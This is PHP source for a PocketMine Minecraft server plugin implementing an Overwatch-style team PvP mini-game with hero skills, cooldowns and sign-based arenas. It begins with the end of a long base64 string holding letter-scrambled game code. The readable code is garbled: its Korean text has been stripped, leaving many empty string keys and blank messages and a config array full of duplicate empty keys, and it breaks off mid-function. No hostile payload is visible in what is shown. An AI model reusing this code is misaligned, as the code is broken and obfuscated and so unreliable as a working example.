E9PSAkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRTbnRpdE8tPmdTdFRhWVMoKSkgXVsi7YyAIl0pIHsgaWYgKCR0aGlzLT5Zb3pTIFskemFZYWdTci0+Z1N0VGFZUygpXSA9PSAwKSB7IGlmICgkaXogPT0gJHRoaXMtPnFhdGFbIuyKpO2CrDAiXSkgeyBpZiAoIWlzc1N0KCR0aGlzLT50aVlTWyR6YVlhZ1NyLT5nU3RUYVlTKCkgXSkpIHsgJHRoaXMtPnRpWVNbJHphWWFnU3ItPmdTdFRhWVMoKSBdID0gJHRoaXMtPllhMlNOaVlTc3RhWUcoKTsgclN0dXJuOyB9IGlmICgkdGhpcy0+WWEyU05pWVNzdGFZRygpIC0gJHRoaXMtPnRpWVNbJHphWWFnU3ItPmdTdFRhWVMoKSBdIDwgazUpIHsgJHphWWFnU3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZuy/qO2DgOyehCDsnqXsoITspJHCp2EoazXstIgpIik7ICRTdlNudC0+c1N0Q2FuY1NsbFN6KHRydVMpOyB9IFNsc1MgeyAkdGhpcy0+dGlZU1skemFZYWdTci0+Z1N0VGFZUygpIF0gPSB0aVlTKCk7ICR0aGlzLT5vd3piW3N0cnRvbG93U3IoJFNudGl0Ty0+Z1N0VGFZUygpKSBdWyLslYTrgpjsm4Dsp4HsnoQiXSA9ICJ0cnVTIjsgJFNudGl0Ty0+c1Nuek1Tc3NhZ1MoInskdGFnfSDCp2Z7JHphWWFnU3ItPmdTdFRhWVMoKSB9IMKnNuuLmOydtCDsiJjrqbTstJ3siqTtgqzsnYQg7IKs7Jqp7ZWY7IWo7Iq164uI64ukLiIpOyAkemFZYWdTci0+c1Nuek1Tc3NhZ1MoInskdGFnfcKnNiDsiJjrqbTstJ3siqTtgqwg7IKs7JqpIOyEseqztSIpOyAkU3ZTbnQtPnNTdENhbmNTbGxTeih0cnVTKTsgclN0dXJuIHRydVM7IH0gfSB9IH0gfSB9IH0gR3VibGljIGZ1bmN0aW9uIEpzU2UyaWxsNChFbnRpdE9xYVlhZ1NFdlNudCAkU3ZTbnQpIHsgaWYgKCRTdlNudCBpbnN0YW5jU29mIEVudGl0T3FhWWFnU0JPRW50aXRPRXZTbnQpIHsgJFNudGl0TyA9ICRTdlNudC0+Z1N0RW50aXRPKCk7ICR6YVlhZ1NyID0gJFN2U250LT5nU3RxYVlhZ1NyKCk7ICRpeiA9ICR6YVlhZ1NyLT5nU3RJbnZTbnRvck8oKS0+Z1N0SXRTWUluSGFueigpLT5nU3RJeigpOyAkdGFnID0gIsKnZlsgwqdj7Jik67KE7JuM7LmYwqdmIF0iOyBpZiAoJFNudGl0TyBpbnN0YW5jU29mIFBsYU9TcikgeyBpZiAoJHphWWFnU3IgaW5zdGFuY1NvZiBQbGFPU3IpIHsgaWYgKCR0aGlzLT5vd3piW3N0cnRvbG93U3IoJHphWWFnU3ItPmdTdFRhWVMoKSkgXVsi7LqQ66at7YSwIl0gIT09ICLrrLTsp4DsoJUiKSB7IGlmICgkdGhpcy0+WW96UyBbJHphWWFnU3ItPmdTdFRhWVMoKV0gPT0gMCkgeyBpZiAoJHRoaXMtPm93emJbc3RydG9sb3dTcigkemFZYWdTci0+Z1N0VGFZUygpKSBdWyLtjIAiXSAhPT0gJHRoaXMtPm93emJbc3RydG9sb3dTcigkU250aXRPLT5nU3RUYVlTKCkpIF1bIu2MgCJdKSB7IGlmICgkaXogPT0gJHRoaXMtPnFhdGFbIuy0neyVhOydtO2FnCJdKSB7IGlmICgkemFZYWdTci0+Z1N0SW52U250b3JPKCktPmNvbnRhaW5zKG5TdyBJdFNZKCR0aGlzLT5xYXRhWyLstJ3slYwiXSwgMSwgMCkpKSB7ICR6YVlhZ1NyLT5nU3RJbnZTbnRvck8oKS0+clNZb3ZTSXRTWShuU3cgSXRTWSgkdGhpcy0+cWF0YVsi7LSd7JWMIl0sIDEsIDApKTsgJFN2U250LT5zU3RDYW5jU2xsU3oodHJ1Uyk7ICRmdW5jdGlvbiA9IGZ1bmN0aW9uIChFbnRpdE8gJFNudCkgeyAkdiA9IG5TdyBWU2N0b3IzKCRTbnQtPngsICRTbnQtPk8sICRTbnQtPmQpOyAkRyA9IG5TdyBxU3N0cm9PQmxvYzJQYXJ0aWNsUygkdiwgQmxvYzI6OmdTdCgwNWspKTsgZm9yICgkaSA9IDE7JGkgPCAzOyRpKyspIHsgJHYtPnggKz0gKG5TdyBSYW56b1koKSktPm5TeHRGbG9hdCgpOyAkdi0+TyArPSAoblN3IFJhbnpvWSgpKS0+blN4dEZsb2F0KCk7ICR2LT5kICs9IChuU3cgUmFuem9ZKCkpLT5uU3h0RmxvYXQoKTsgJFNudC0+Z1N0TFN2U2woKS0+YXp6UGFydGljbFMoJEcpOyB9IH07IHN3aXRjaCAoWXRfcmFueigwLCAwaykpIHsgY2FzUyAwOiAkemFZYWdTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdm67mg7IOk7IO3ISDsobDspIDshLHqs7UhIik7ICRTbnRpdE8tPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZuy0neyXkOunnuyVmOyKteuLiOuLpC4iKTsgJFNudGl0Ty0+c1N0SFNhbHRoKCRTbnRpdE8tPmdTdEhTYWx0aCgpIC0gMyk7ICRmdW5jdGlvbigkU250aXRPKTsgYnJTYTI7IGNhc1MgazogJHphWWFnU3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZuu5tSEg7KGw7KSA7ISx6rO1ISIpOyAkU250aXRPLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2bstJ3sl5Drp57slZjsirXri4jri6QuIOyVhO2MjOuSpOyguOuejyIpOyAkU250aXRPLT5zU3RIU2FsdGgoJFNudGl0Ty0+Z1N0SFNhbHRoKCkgLSA1KTsgJGZ1bmN0aW9uKCRTbnRpdE8pOyBiclNhMjsgY2FzUyAzOiAkemFZYWdTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdm7YGs66as7Yuw7LusISDsobDspIDrjIDshLHqs7UhIik7ICRTbnRpdE8tPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZuy0neyXkOunnuyVhCDrkqTsoYzsirXri4jri6QuIik7ICRTbnRpdE8tPnNTdEhTYWx0aCgkU250aXRPLT5nU3RIU2FsdGgoKSAtIGsxKTsgJHRoaXMtPllvelMgWyRTbnRpdE8tPmdTdFRhWVMoKV0gPSAxOyAkZnVuY3Rpb24oJFNudGl0Tyk7IGJyU2EyOyBjYXNTIDQ6ICR6YVlhZ1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2bruaDrsKkhIOyhsOykgOyLpO2MqCEg7IOB64yA67Cp7J20IOy0neydhCDtlLztlZjsmIDsirXri4jri6QuIik7ICRTbnRpdE8tPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZuy0neydhCDtlLztlZjsmIDsirXri4jri6QuIik7IGJyU2EyOyBjYXNTIDU6ICR6YVlhZ1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2brvrDsmKTsmqkuLiEg7KGw7KSA7Iuk7YyoISDsg4HrjIDrsKnsnbQg7LSd7J2EIO2UvO2VmOyYgOyKteuLiOuLpC4iKTsgJFNudGl0Ty0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdm7LSd7J2EIO2UvO2VmOyYgOyKteuLiOuLpC4iKTsgYnJTYTI7IGNhc1MgNjogJHphWWFnU3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZu2Dle2Dle2DlSEg7KGw7KSA7ISx6rO1ISIpOyAkU250aXRPLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2bslb3tlZzstJ3sl5Drp57slZjsirXri4jri6QuIik7ICRTbnRpdE8tPnNTdEhTYWx0aCgkU250aXRPLT5nU3RIU2FsdGgoKSAtIDApOyAkZnVuY3Rpb24oJFNudGl0Tyk7IGJyU2EyOyBjYXNTIDc6ICR6YVlhZ1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2bsgZEuLiEg7KGw7KSA7Iuk7YyoISDsg4HrjIDrsKnsnbQg7LSd7J2EIO2UvO2VmOyYgOyKteuLiOuLpC4iKTsgJFNudGl0Ty0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdm7LSd7J2EIO2UvO2VmOyYgOyKteuLiOuLpC4iKTsgYnJTYTI7IGNhc1MgODogJHphWWFnU3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZuu5oOuwlOuwlOuwqSDsobDspIDshLHqs7UhIik7ICRTbnRpdE8tPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZuy0neyXkOunnuyVmOyKteuLiOuLpC4iKTsgJFNudGl0Ty0+c1N0SFNhbHRoKCRTbnRpdE8tPmdTdEhTYWx0aCgpIC0gayk7ICRmdW5jdGlvbigkU250aXRPKTsgYnJTYTI7IGNhc1MgOTogJHphWWFnU3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZuu5oOuwqSEg7KGw7KSA7ISx6rO1ISIpOyAkU250aXRPLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2bstJ3sl5Drp57slZjsirXri4jri6QuIik7ICRTbnRpdE8tPnNTdEhTYWx0aCgkU250aXRPLT5nU3RIU2FsdGgoKSAtIDMpOyAkZnVuY3Rpb24oJFNudGl0Tyk7IGJyU2EyOyBjYXNTIDAxOiAkemFZYWdTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdm7IGRLi4hIOyhsOykgOyLpO2MqCEg7IOB64yA67Cp7J20IOy0neydhCDtlLztlZjsmIDsirXri4jri6QuIik7ICRTbnRpdE8tPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZuy0neydhCDtlLztlZjsmIDsirXri4jri6QuIik7IGJyU2EyOyBjYXNTIDAwOiAkemFZYWdTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdm67mg7JWE7JWZISDsobDspIDshLHqs7UhIik7ICRTbnRpdE8tPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZuqwle2VnOy0neyXkOunnuyVmOyKteuLiOuLpC4g64SI66y0IOyVhO2MjOyalCEiKTsgJFNudGl0Ty0+c1N0SFNhbHRoKCRTbnRpdE8tPmdTdEhTYWx0aCgpIC0gNik7ICRmdW5jdGlvbigkU250aXRPKTsgYnJTYTI7IGNhc1MgMGs6ICR6YVlhZ1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2bsgpDsiJEhIOyhsOykgOyEseqztSEiKTsgJFNudGl0Ty0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdm7LSd7JeQ66ee7JWY7Iq164uI64ukLiIpOyAkU250aXRPLT5zU3RIU2FsdGgoJFNudGl0Ty0+Z1N0SFNhbHRoKCkgLSAzKTsgJGZ1bmN0aW9uKCRTbnRpdE8pOyBiclNhMjsgfSByU3R1cm47IH0gJHphWWFnU3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIOy0neyVjOydtCDrtoDsobHtlanri4jri6QuIik7ICRTdlNudC0+c1N0Q2FuY1NsbFN6KHRydVMpOyByU3R1cm47IH0gfSB9IH0gfSB9IH0gfSB9';
namespace MINI; use pocketmine\plugin\PluginBase; use pocketmine\event\Listener; use pocketmine\command\Command; use pocketmine\command\CommandSender; use pocketmine\utils\Config; use pocketmine\entity\Effect; use pocketmine\event\player\PlayerDeathEvent; use pocketmine\event\player\PlayerCommandPreprocessEvent; use pocketmine\event\block\SignChangeEvent; use pocketmine\event\block\BlockBreakEvent; use pocketmine\event\player\PlayerInteractEvent; use pocketmine\event\player\PlayerJoinEvent; use pocketmine\Player; use pocketmine\math\Vector3; use pocketmine\event\entity\EntityDamageByEntityEvent; use pocketmine\event\player\PlayerMoveEvent; use pocketmine\event\entity\EntityDamageEvent; use pocketmine\item\Item; use MINI\task\Tasks; use MINI\task\AnaTasks; use MINI\task\SomTasks; use pocketmine\event\player\PlayerItemHeldEvent; use ifteam\RankManager\rank\RankProvider; use Tagme\Tagme; use tss\TSPrefix\TSPrefix; use MINI\LevelUp; use pocketmine\entity\Entity; use pocketmine\level\particle\HeartParticle; use pocketmine\event\player\PlayerRespawnEvent; use pocketmine\level\particle\DestroyBlockParticle; use pocketmine\block\Block; use pocketmine\level\Position; use pocketmine\utils\Random; use Onebone\economyapi\EconomyAPI; class OverWatch extends PluginBase implements Listener { private static $instance = null; public $ow, $owdb, $tear, $tears; public $check = []; public function onLoad() { self::$instance = $this; } public static function getInstance() { return self::$instance; } public function onEnable() { if ($this->getServer()->getPluginManager()->getPlugin("MiniKillDeath") === null) { $this->getLogger()->info("c MiniKillDeath ."); $this->getServer()->getPluginManager()->disablePlugin($this); return; } $this->getLogger()->info("b ! ."); $this->getServer()->getPluginManager()->registerEvents($this, $this); @mkdir($this->getDataFolder()); $this->ow = new Config($this->getDataFolder() . "OW.yml", Config::YAML); $this->owdb = $this->ow->getAll(); $this->getServer()->getScheduler()->scheduleRepeatingTask(new Tasks($this, $this->ow) , 20); @mkdir($this->getDataFolder()); $this->Config = (new Config($this->getDataFolder() . "config.yml", Config::YAML, ["1" => 336, "2" => 337, "3" => 377, "" => 339, "" => 18, "" => 10, "" => 462, "" => 280, "" => 19, "" => 0])); $this->Data = $this->Config->getAll(); @mkdir($this->getDataFolder()); $this->database = new Config($this->getDataFolder() . "warp.yml", Config::YAML); $this->db = $this->database->getAll(); } public function toSave() { $this->Config->setAll($this->Data); $this->Config->save(); } public function onSave() { $this->ow->setAll($this->owdb); $this->ow->save(); } public function inSave() { $this->database->setAll($this->db); $this->database->save(); } public function onDisable() { $this->getLogger()->info("b "); } public function PlayerCommand(PlayerCommandPreprocessEvent $event) { $tag = "f[c f]"; $player = $event->getPlayer(); $name = $player->getName(); if ($this->mode [$name] == 1) { $event->setCancelled(); $player->sendMessage("{$tag} , ."); } } public function CreateGame(SignChangeEvent $event) { $tag = "f[c f]"; $block = $event->getBlock(); $x = $block->x; $y = $block->y; $z = $block->z; $level = $block->level->getName(); $player = $event->getPlayer(); if ($event->getLine(0) == "") { if ($player->isOp()) { if ($event->getLine(1) !== "") { $player->sendMessage("{$tag} . 1., 2. ."); return false; } $this->db[$x . ":" . $y . ":" . $z . ":" . $level] = true; $this->inSave(); $player->sendMessage("{$tag} !"); $event->setLine(0, "f[ c f]"); $event->setLine(1, "f !"); $event->setLine(2, "f !"); $event->setLine(3, "c ."); } else { $event->setCancelled(); $player->sendMessage("{$tag} ."); } } } public function onJoin(PlayerJoinEvent $event) { $player = $event->getPlayer(); $name = $player->getName(); $this->mode [$name] = 0; } public function onKill(PlayerDeathEvent $event) { $tag = "f[c f]"; $entity = $event->getEntity(); $ename = $entity->getName(); if ($this->mode [$ename] == 1) { $this->mode [$ename] = 0; $entity->sendMessage("{$tag} ."); } } public function PlayerRespawn(PlayerRespawnEvent $event){ $player = $event->getPlayer(); $name = $player->getName(); $this->mode [$name] = 0; } public function onstart(PlayerInteractEvent $event) { $tag = "f[c f]"; $block = $event->getBlock(); $x = $block->getX(); $y = $block->y; $z = $block->z; $player = $event->getPlayer(); $name = $player->getName(); $level = $block->level->getName(); if (isset($this->db[$x . ":" . $y . ":" . $z . ":" . $level])) { if ($event->getBlock()->getId() == Block::SIGN_POST || $event->getBlock()->getId() == Block::WALL_SIGN) { if ($this->owdb[strtolower($player->getName()) ][""] !== "") { $count = mt_rand(1, 2); $g = explode(":", $this->Data["{$count}"]); $this->getServer()->loadLevel($g[3]); $player->teleport(new Position($g[0], ($g[1] + 0.3) , $g[2], $this->getServer()->getLevelByName($g[3])) , $player->getYaw() , $player->getPitch()); $player->sendMessage("{$tag} ."); $this->mode [$name] = 1; return true; } $player->sendMessage("{$tag} . / ."); return true; } } } public function onBreak(BlockBreakEvent $event) { $tag = "f[c f]"; $block = $event->getBlock(); $x = $block->x; $y = $block->y; $z = $block->z; $player = $event->getPlayer(); $level = $block->level->getName(); if ($block->getId() == Block::SIGN_POST || $block->getId() == Block::WALL_SIGN) { if (isset($this->db[$x . ":" . $y . ":" . $z . ":" . $level])) { if ($event->getPlayer()->isOp()) { unset($this->db[$x . ":" . $y . ":" . $z . ":" . $level]); $this->inSave(); $event->getPlayer()->sendMessage("{$tag} ."); } else { $event->setCancelled(); } } } } public function on1kill(EntityDamageEvent $event) { $tag = "f[c f]"; $entity = $event->getEntity(); if ($event instanceof EntityDamageByChildEntityEvent || $event instanceof EntityDamageByEntityEvent) { $damager = $event->getDamager(); $dname = $damager->getName(); if ($damager instanceof Player) { if ($entity instanceof Player) { $ename = $entity->getName(); $rand1 = mt_rand(1, 9); $rand2 = mt_rand(1, 3); if ($this->mode [$damager->getName()] == 1) { if ($this->owdb[strtolower($damager->getName()) ][""] !== $this->owdb[strtolower($entity->getName()) ][""]) { if ($rand1 == 4) { $damager->sendPopup("{$tag} ! {$rand2}"); $entity->sendPopup("b ."); $event->setDamage($event->getDamage() + $rand2); } } } } } } } public function onDie(PlayerMoveEvent $event) { $player = $event->getPlayer(); $tag = "f[c f]"; $block = $player->level->getBlock(new Vector3((int)$player->x, (int)($player->y - 1) , (int)$player->z)); if ($block->getId() === $this->Data[""] && $block->getDamage() === $this->Data[""]) { $this->mode [$player->getName()] = 0; $player->sendTip(" ."); $player->sendMessage("{$tag} ."); $player->setHealth(0); } } public function onPlayerJoinEvent(PlayerJoinEvent $event) { $player = $event->getPlayer(); if (!isset($this->Data["1"])) { $this->Data["1"] = "256:4:256:pvp"; $this->Data["2"] = "256:4:256:pvp"; $pname = $player->getName(); } } public function AnaTasks(Player $player) { unset($this->owdb[strtolower($player->getName()) ][""]); } public function onMove(PlayerMoveEvent $event) { $player = $event->getPlayer(); $name = $player->getName(); $tag = "f[c f]"; if (isset($this->owdb[strtolower($name) ][""])) { $event->setCancelled(); $player->sendPopup($tag . " 4 .( )"); $this->getServer()->getScheduler()->scheduleDelayedTask(new AnaTasks($this, $this->ow) , 80); } } public function PopupName(PlayerItemHeldEvent $ev) { $arr = [$this->Data["1"] => "b1", $this->Data["2"] => "b2", $this->Data["3"] => "b3"]; $i = $ev->getItem(); $p = $ev->getPlayer(); if (isset($arr[$i->getId() ])) { $p->sendPopup($arr[$i->getId() ]); } } public function PlayerJoin(PlayerJoinEvent $event) { $tag = "f[c f]"; $player = $event->getPlayer(); $prefix = "f[bf]"; if (!isset($this->owdb[strtolower($player->getName()) ])) { $this->owdb[strtolower($event->getPlayer()->getName()) ] = []; $this->owdb[strtolower($player->getName()) ][""] = ""; $this->owdb[strtolower($player->getName()) ][""] = 1; $this->owdb[strtolower($player->getName()) ][""] = ""; $rand = mt_rand(1, 2); switch ($rand) { case 1: $team = ""; break; case 2: $team = ""; break; } $this->owdb[strtolower($player->getName()) ][""] = $team; $player->getInventory()->addItem(Item::get($this->Data[""], $this->Data[""], 1)); $player->sendMessage($tag . " a . . [{$team}]() ."); $player->sendMessage($tag . "a/ , , , , , !"); $this->onSave(); return true; } if (!isset($this->owdb[strtolower($player->getName()) ][""])) { $this->owdb[strtolower($player->getName()) ][""] = ""; $this->owdb[strtolower($player->getName()) ][""] = ""; $this->onSave(); return true; } if (!isset($this->owdb[strtolower($player->getName()) ][""])) { $this->owdb[strtolower($player->getName()) ][""] = 0; $this->onSave(); return true; } if ($this->owdb[strtolower($player->getName()) ][""] == "") { $this->owdb[strtolower($player->getName()) ][""] = ""; $player->sendMessage($tag . " a ."); $player->sendMessage($tag . " a/ , , , , , !"); $player->getInventory()->addItem(Item::get($this->Data[""], $this->Data[""], 1)); $this->onSave(); } } public function makeTimestamp() { $date = date("Y-m-d H:i:s"); $yy = substr($date, 0, 4); $mm = substr($date, 5, 2); $dd = substr($date, 8, 2); $hh = substr($date, 11, 2); $ii = substr($date, 14, 2); $ss = substr($date, 17, 2); return mktime($hh, $ii, $ss, $mm, $dd, $yy); } public function Tag(Player $player) { $Health = $player->getHealth(); if ($Health == 20) { $Health1 = "c"; } else if ($Health > 18) { $Health1 = "c"; } else if ($Health > 16) { $Health1 = "c"; } else if ($Health > 14) { $Health1 = "c"; } else if ($Health > 12) { $Health1 = "c"; } else if ($Health > 10) { $Health1 = "c"; } else if ($Health > 8) { $Health1 = "c"; } else if ($Health > 6) { $Health1 = "c"; } else if ($Health > 4) { $Health1 = "c"; } else if ($Health > 2) { $Health1 = "c"; } else { $Health1 = "c"; } if ($this->getServer()->getPluginManager()->getPlugin("RankManager") === null && $this->getServer()->getPluginManager()->getPlugin("Tagme") === null && $this->getServer()->getPluginManager()->getPlugin("TSPrefix") === null) { $prefix = "6[f " . $this->owdb[strtolower($player->getName()) ][""] . "6 ]"; } else if ($this->getServer()->getPluginManager()->getPlugin("Tagme") === null && $this->getServer()->getPluginManager()->getPlugin("TSPrefix") === null) { $prefix = "6[ " . RankProvider::getInstance()->getRank($player)->getPrefix() . " 6]"; } else if ($this->getServer()->getPluginManager()->getPlugin("RankManager") === null && $this->getServer()->getPluginManager()->getPlugin("TSPrefix") === null) { $prefix = "" . Tagme::getInstance()->getTagColor($player->getName()) . "[ " . Tagme::getInstance()->getTag($player->getName()) . " ]"; } else if ($this->getServer()->getPluginManager()->getPlugin("RankManager") === null && !isset(TSPrefix::getInstance()->db['data'][substr(strtolower($player->getName()) , 0, 1) ][strtolower($player->getName()) ]) || !isset(TSPrefix::getInstance()->db['data'][substr(strtolower($player->getName()) , 0, 1) ][strtolower($player->getName()) ]['nun']) && $this->getServer()->getPluginManager()->getPlugin("Tagme") === null) { $prefix = "" . TSPrefix::getInstance()->db['config']['default-prefix'] . ""; } else if ($this->getServer()->getPluginManager()->getPlugin("RankManager") === null && $this->getServer()->getPluginManager()->getPlugin("Tagme") === null) { $prefix = "" . TSPrefix::getInstance()->getPrefix(strtolower($player->getName()) , substr(strtolower($player->getName()) , 0, 1)) [TSPrefix::getInstance()->db['data'][substr(strtolower($player->getName()) , 0, 1) ][strtolower($player->getName()) ]['nun']] . ""; } $player->setNameTag($prefix . "f " . $player->getName() . "\nf[ a" . $this->owdb[strtolower($player->getName()) ][""] . " f|b LV. " . $this->owdb[strtolower($player->getName()) ][""] . " f| e" . $this->owdb[strtolower($player->getName()) ][""] . " f]\nl " . $Health1 . " "); } public function ganji1(Player $player, $time) { static $cooltime = []; $tag = "f[c f]"; foreach ($player->getLevel()->getPlayers() as $check) { if ($this->mode [$player->getName()] == 1) { if ($this->owdb[strtolower($player->getName()) ][""] !== $this->owdb[strtolower($check->getName()) ][""]) { if (!isset($this->time[$player->getName() ])) { $this->time[$player->getName() ] = $this->makeTimestamp(); return true; } if ($this->makeTimestamp() - $this->time[$player->getName() ] < 10) { $player->sendMessage($tag . " f a(10)"); } else { $this->time[$player->getName() ] = time(); if ($check->getName() == $player->getName()) { } else if ($player->distance($check) < 7) { $xt = - \sin($player->yaw / 180 * M_PI) * \cos($player->pitch / 180 * M_PI); $yt = - \sin($player->pitch / 180 * M_PI); $zt = \cos($player->yaw / 180 * M_PI) * \cos($player->pitch / 180 * M_PI); $player->setMotion(new Vector3($xt * 5, $yt * 5, $zt * 5)); $check->setHealth($check->getHealth() - 3); $player->sendMessage($tag . " 6 "); $check->sendMessage($tag . " f{$player->getName() } 6 ."); return true; } } } } } } public function ganji2(Player $player, $time) { static $cooltime = []; $tag = "f[c f]"; if ($this->mode [$player->getName()] == 1) { if (!isset($this->time[$player->getName() ])) { $this->time[$player->getName() ] = $this->makeTimestamp(); return true; } if ($this->makeTimestamp() - $this->time[$player->getName() ] < 30) { $player->sendMessage($tag . " f a(30)"); } else { $this->time[$player->getName() ] = time(); $effect = Effect::getEffect(5); $effect->setDuration(13 * 20); $effect->setAmplifier(3); $player->addEffect($effect); $player->sendMessage($tag . " 6 "); return true; } } } public function jaria1(Player $player, $time) { static $cooltime = []; $tag = "f[c f]"; if ($this->mode [$player->getName()] == 1) { foreach ($player->getLevel()->getPlayers() as $check) { if ($this->owdb[strtolower($player->getName()) ][""] !== $this->owdb[strtolower($check->getName()) ][""]) { if (!isset($this->time[$player->getName() ])) { $this->time[$player->getName() ] = $this->makeTimestamp(); return true; } if ($this->makeTimestamp() - $this->time[$player->getName() ] < 30) { $player->sendMessage($tag . " f a(30)"); } else { $this->time[$player->getName() ] = time(); if ($check->getName() == $player->getName()) { } else if ($player->distance($check) < 7) { $check->teleport($player); $player->sendMessage($tag . " 6 "); $check->sendMessage($tag . " f{$player->getName() } 6 ."); return true; } } } } } } public function jaria2(Player $player, $time) { static $cooldown = []; $tag = "f[c f]"; if ($this->mode [$player->getName()] == 1) { if (!isset($this->time[$player->getName() ])) { $this->time[$player->getName() ] = $this->makeTimestamp(); return true; } if ($this->owdb[strtolower($player->getName()) ][""] >= 1) { $player->sendMessage($tag . " 6 1 .(1 3)"); return true; } if ($this->makeTimestamp() - $this->time[$player->getName() ] < 40) { $player->sendMessage($tag . " f a(40)"); } else { $this->time[$player->getName() ] = time(); $this->owdb[strtolower($player->getName()) ][""] = 3; $player->sendMessage($tag . " 6 "); $this->onSave(); return true; } } } public function som1(Player $player, $time) { static $cooltime = []; $tag = "f[c f]"; if ($this->mode [$player->getName()] == 1) { if (!isset($this->time[$player->getName() ])) { $this->time[$player->getName() ] = $this->makeTimestamp(); return true; } if ($this->makeTimestamp() - $this->time[$player->getName() ] < 30) { $player->sendMessage($tag . " f a(30)"); } else { $this->time[$player->getName() ] = time(); $effect = Effect::getEffect(1); $effect->setDuration(6 * 20); $effect->setAmplifier(2); $player->addEffect($effect); $effect1 = Effect::getEffect(14); $effect1->setDuration(6 * 20); $effect1->setAmplifier(2); $player->addEffect($effect1); $player->sendMessage($tag . " 6 "); return true; } } } public function ana(Player $player, $time) { static $cooltime = []; $tag = "f[c f]"; if ($this->mode [$player->getName()] == 1) { foreach ($player->getLevel()->getPlayers() as $check) { if ($this->owdb[strtolower($player->getName()) ][""] == $this->owdb[strtolower($check->getName()) ][""]) { if (!isset($this->time[$player->getName() ])) { $this->time[$player->getName() ] = $this->makeTimestamp(); return true; } if ($this->makeTimestamp() - $this->time[$player->getName() ] < 20) { $player->sendMessage($tag . " f a(20)"); return; } else { $this->time[$player->getName() ] = time(); } if ($player->distance($check) < 7) { switch (mt_rand(1, 6)) { case 1: $player->sendMessage($tag . " 4 !"); $check->setHealth($check->getHealth() + 3); $check->sendMessage($tag . " f{$player->getName() } 6 4 ."); break; case 2: $player->sendMessage($tag . " 4 !"); $check->setHealth($check->getHealth() + 4); $check->sendMessage($tag . " f{$player->getName() } 6 4 ."); break; case 3: $player->sendMessage($tag . " 3 !"); $check->setHealth($check->getHealth() + 3); $check->sendMessage($tag . " f{$player->getName() } 6 3 ."); break; case 4: $player->sendMessage($tag . " 5 !"); $check->setHealth($check->getHealth() + 5); $check->sendMessage($tag . " f{$player->getName() } 6 5 ."); break; case 5: $player->sendMessage($tag . " 5 !"); $check->setHealth($check->getHealth() + 5); $check->sendMessage($tag . " f{$player->getName() } 6 5 ."); break; case 6: $player->sendMessage($tag . " 4 !"); $check->setHealth($check->getHealth() + 4); $check->sendMessage($tag . " f{$player->getName() } 6 4 ."); break; } } } } } } public function luciu1(Player $player, $time) { static $cooltime = []; $tag = "f[c f]"; if ($this->mode [$player->getName()] == 1) { foreach ($player->getLevel()->getPlayers() as $check) { if ($this->owdb[strtolower($player->getName()) ][""] == $this->owdb[strtolower($check->getName()) ][""]) { if ($check->getName() !== $player->getName()) { if (!isset($this->time[$player->getName() ])) { $this->time[$player->getName() ] = $this->makeTimestamp(); return true; } if ($this->makeTimestamp() - $this->time[$player->getName() ] < 25) { $player->sendMessage($tag . " f a(25)"); } else { $this->time[$player->getName() ] = time(); if ($check->getName() == $player->getName()) { } else if ($player->distance($check) < 7) { switch (mt_rand(1, 6)) { case 1: $player->sendMessage($tag . " 3 !"); $check->setHealth($check->getHealth() + 3); $check->sendMessage($tag . " f{$player->getName() } 6 3 ."); break; case 2: $player->sendMessage($tag . " 4 !"); $check->setHealth($check->getHealth() + 4); $check->sendMessage($tag . " f{$player->getName() } 6 4 ."); break; case 3: $player->sendMessage($tag . " 3 !"); $check->setHealth($check->getHealth() + 3); $check->sendMessage($tag . " f{$player->getName() } 6 3 ."); break; case 4: $player->sendMessage($tag . " 5 !"); $check->setHealth($check->getHealth() + 5); $check->sendMessage($tag . " f{$player->getName() } 6 5 ."); break; case 5: $player->sendMessage($tag . " 8 !"); $check->setHealth($check->getHealth() + 8); $check->sendMessage($tag . " f{$player->getName() } 6 8 ."); break; case 6: $player->sendMessage($tag . " 7 !"); $check->setHealth($check->getHealth() + 7); $check->sendMessage($tag . " f{$player->getName() } 6 7 ."); break; } } } } } } } } public function luciu2(Player $player, $time) { static $cooldown = []; $tag = "f[c f]"; if ($this->mode [$player->getName()] == 1) { foreach ($player->getLevel()->getPlayers() as $check) { if ($this->owdb[strtolower($player->getName()) ][""] == $this->owdb[strtolower($check->getName()) ][""]) { if ($check->getName() !== $player->getName()) { if (!isset($this->time[$player->getName() ])) { $this->time[$player->getName() ] = $this->makeTimestamp(); return true; } if ($this->makeTimestamp() - $this->time[$player->getName() ] < 30) { $player->sendMessage($tag . " f a(30)"); } else { $this->time[$player->getName() ] = time(); if ($check->getName() == $player->getName()) { } else if ($player->distance($check) < 7) { $effect = Effect::getEffect(1); $effect->setDuration(7 * 20); $effect->setAmplifier(2); $check->addEffect($effect); $player->sendMessage($tag . " 7 "); $check->sendMessage($tag . " f{$player->getName() }6 2 . "); return true; } } } } } } } public function luciu3(Player $player, $time) { static $cooltime = []; $tag = "f[c f]"; if ($this->mode [$player->getName()] == 1) { foreach ($player->getLevel()->getPlayers() as $check) { if ($this->owdb[strtolower($player->getName()) ][""] !== 